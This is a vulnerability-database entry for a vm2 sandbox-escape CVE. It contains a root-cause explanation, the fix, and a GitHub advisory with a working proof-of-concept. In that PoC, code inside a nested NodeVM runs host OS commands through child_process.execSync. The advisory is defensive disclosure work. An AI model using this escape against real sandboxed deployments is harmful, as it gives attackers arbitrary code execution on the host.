CVE-2026-47137
criticalpriority · track · 0EPSS 0.004 · 32 %ileDEEUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.
cvss
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base score 0–10 · higher = more severe · hover a vector to decode
ssvc
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weaknesses
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affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1583vm2: Mehrere SchwachstellenDeutsch2026-05-18csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.
- GHSA-m4wx-m65x-ghrrvm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE2026-05-29ghsa · osvUS
## Summary The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely. When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent. ## Root Cause ```javascript // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false ``` ## Impact Full Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can: 1. `require('vm2')` to get the vm2 library 2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }` 3. Execute arbitrary OS commands via `child_process.execSync` The inner VM is completely unconstrained by the outer sandbox configuration. ## Reproduction ```javascript const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE ``` ## Suggested Fix ```javascript // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); } ``` Or move the check after the destructuring default assignment: ```javascript const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); } ```
also known as (3)
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sources
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references (16)
External citations — patches, advisories, analysis.
- https://github.com/advisories/GHSA-g644-9gfx-q4q4cnnvd
- https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568cnnvd
- https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7cnnvd
- https://github.com/patriksimek/vm2/releasesPatchcnnvd
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4cnnvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrrcnnvd
- https://github.com/advisories/GHSA-g644-9gfx-q4q4enisa_euvd
- https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568enisa_euvd
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